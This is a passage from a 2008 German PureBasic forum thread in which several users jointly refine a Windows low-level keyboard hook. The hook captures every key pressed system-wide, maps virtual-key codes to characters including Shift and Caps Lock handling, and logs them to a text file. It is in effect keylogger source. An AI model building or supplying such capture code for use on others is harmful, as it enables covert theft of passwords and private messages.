Seite 4 von 6
Verfasst: 31.12.2008 01:30
von TomS
Jo. Kein Problem. Lass mich auch gerne verbessern. War ein Fehler von mir.
Gemeint war natürlich: Wenn du die ^-Taste abfrage möchtest, musst du 220 schreiben
Insofern muss man dann auch den Code erweitern, wenn der Virtual-Key-Code nicht mehr dem Ascii-Code entspricht^^
Verfasst: 31.12.2008 12:29
von orderinchaos
thx leute für eure tolle mitarbeit
so macht das arbeit spass !!
ich glaub ich den code von oliver 1994 nochmals verbessert....
Code: Alles auswählen
Procedure.l myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
If nCode = #HC_ACTION
If wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
#LLKHF_ALTDOWN = $20
If GetAsyncKeyState_(#VK_ESCAPE) ;Escape pressed
If MessageRequester("EXIT", "End the KeyboardHook ??",#MB_YESNO) = #IDYES
UnhookWindowsHookEx_(hook)
End
EndIf
EndIf
If *p\vkCode >= 65 And *p\vkCode <= 90 ;A - Z und a - z
If GetAsyncKeyState_(#VK_SHIFT)
WriteChar2File("---log---.txt",Chr(*p\vkCode))
Else
WriteChar2File("---log---.txt",Chr(*p\vkCode + 32))
EndIf
EndIf
If *p\vkCode >= 48 And *p\vkCode <= 57 ;1 - 9
WriteChar2File("---log---.txt",Chr(*p\vkCode))
EndIf
If *p\vkCode = 46
WriteChar2File("---log---.txt",".")
EndIf
If *p\vkCode = 32
WriteChar2File("---log---.txt"," ")
EndIf
If *p\vkCode = 13
WriteChar2FileN("---log---.txt","")
EndIf
EndIf
EndIf
ProcedureReturn CallNextHookEx_(hook, nCode, wParam, *p)
EndProcedure
funktioniert alles bis auf den Punkt (.) keine ahnung weshalb nicht.... ??
EDIT :
gut hab's selbst rausgefunden:
Code: Alles auswählen
If *p\vkCode = 190
WriteChar2File("---log---.txt",".")
EndIf
übrigens hatte TomS recht, so können alle VK-Codes ausgelesen werden:
Code: Alles auswählen
Procedure.l myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
If nCode = #HC_ACTION
If wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
#LLKHF_ALTDOWN = $20
If GetAsyncKeyState_(#VK_ESCAPE) ;Escape pressed
If MessageRequester("EXIT", "End the KeyboardHook ??",#MB_YESNO) = #IDYES
UnhookWindowsHookEx_(hook)
End
EndIf
EndIf
Debug *p\vkCode
EndIf
EndIf
ProcedureReturn CallNextHookEx_(hook, nCode, wParam, *p)
EndProcedure
sieht langsam recht gut aus, mein ergebnis... bin zufrieden, ist aber noch ausarbeitbar und genau daran arbeite ich.... thx an alle !!
Verfasst: 31.12.2008 12:56
von Oliver1994
bei mir will der code so nicht:
Code: Alles auswählen
If *p\vkCode = 9 ; 9 ist ASCII Zeichen für den Tabulator
Debug "TEST"
EndIf
Gruß
JENS
Verfasst: 31.12.2008 13:05
von orderinchaos
also bei mir funktioniert er !! keine ahnung weshalb bei dir nicht.... kannst du vielleicht genauer beschreiben was genau nicht funktioniert?!

Verfasst: 31.12.2008 14:47
von orderinchaos
bin ein weiteres mal auf eure hilfe angewiesen :
weiss jemand ein bessere variante als diese
Code: Alles auswählen
If *p\vkCode >= 65 And *p\vkCode <= 90 ;A - Z und a - z
If GetAsyncKeyState_(#VK_SHIFT)
WriteChar2File("---log---.txt",Chr(*p\vkCode))
Else
WriteChar2File("---log---.txt",Chr(*p\vkCode + 32))
EndIf
EndIf
folgendes problem :
möchte man einen grossbuchstaben mittels shift schreiben, so funktioniert das zwar, aber nur dann, wenn man wirklich eindeutig zuerst die shift- taste drückt und danach den entsprechenden buchstaben.... schreibt man aber schnell so wird alles kleingeschrieben, trotz drücken der shift taste....
versucht es sonst mal selbst aus, wenn ihr lust habt.... ich denke es gibt da eine schlauere lösung, nur welche?
thx
Verfasst: 31.12.2008 15:07
von TomS
Code: Alles auswählen
If GetAsyncKeyState_(#VK_SHIFT)
If *p\vkCode >= 65 And *p\vkCode <= 90
WriteChar2File("---log---.txt",Chr(*p\vkCode))
Endif
Else
WriteChar2File("---log---.txt",Chr(*p\vkCode + 32))
EndIf
EndIf
So vielleicht?
Verfasst: 31.12.2008 15:13
von Deluxe0321
so gehts noch besser
Code: Alles auswählen
Global Dim Array.b(256)
Procedure myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
Char.s = Space(1)
If nCode = #HC_ACTION
If wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
#LLKHF_ALTDOWN = $20
If GetAsyncKeyState_(#VK_ESCAPE) ;Escape pressed
If MessageRequester("EXIT", "End the KeyboardHook ??",#MB_YESNO) = #IDYES
UnhookWindowsHookEx_(hook)
End
EndIf
EndIf
If GetAsyncKeyState_(#VK_SHIFT) Or GetKeyState_($14) > 0
Check.i=ToAscii_(*p\vkCode,MapVirtualKey_(*p\vkCode,0),@array.b, @Char.s,0);
Else
Check.i=ToAscii_(*p\vkCode,MapVirtualKey_(*p\vkCode,0),@array(), @Char.s,0);
EndIf
If Check.i
Debug Char.s
EndIf
EndIf
EndIf
ProcedureReturn CallNextHookEx_(hook, nCode, wParam, *p)
EndProcedure
warum die funktion ToAscii_()?
Ich habe an meinem Zweit-PC eine US Tastatur, die Codes stimmen nicht alle überein.. (außerdem gehts ohne #VK_ raussuchen zu müssen). Die funktion behebt das ^^
edit: verbessert! (shift wird nicht mehr als chr(32) ausgegeben
edit2: cabslock drinnen..
mehr interessantes:
http://msdn.microsoft.com/en-us/library ... 85%29.aspx
gruß marv
Verfasst: 31.12.2008 15:17
von TomS
Sehr schön und einfach. Nur leider fehlen die Sondertasten F1 etc. Und wenn man Shift drückt kommt zwar A anstatt a, aber auch ein leeres Feld, weil Shift keinen Ascii-Wert hat.
Verfasst: 31.12.2008 15:20
von orderinchaos
@ TomS
so hab ich s schon probiert, macht aber leider keinen unterschied.... vielen dank trotzdem !!
@Deluxe0321
werd das gleich mal austesten, vielen dank !!
TomS hat's ja schon getestet merk, ich grad.... mit dem leerzeichen der SHIFT- taste hat er recht.... das sollte aber schnell behoben sein, denk ich....
thx euch beiden, werd mich wieder melden !!

Verfasst: 31.12.2008 15:33
von orderinchaos
sehr schöön, nun funktionierts
thx !!
aber kann ich das auch an das schweizer tastatur-layout anpassen? wie?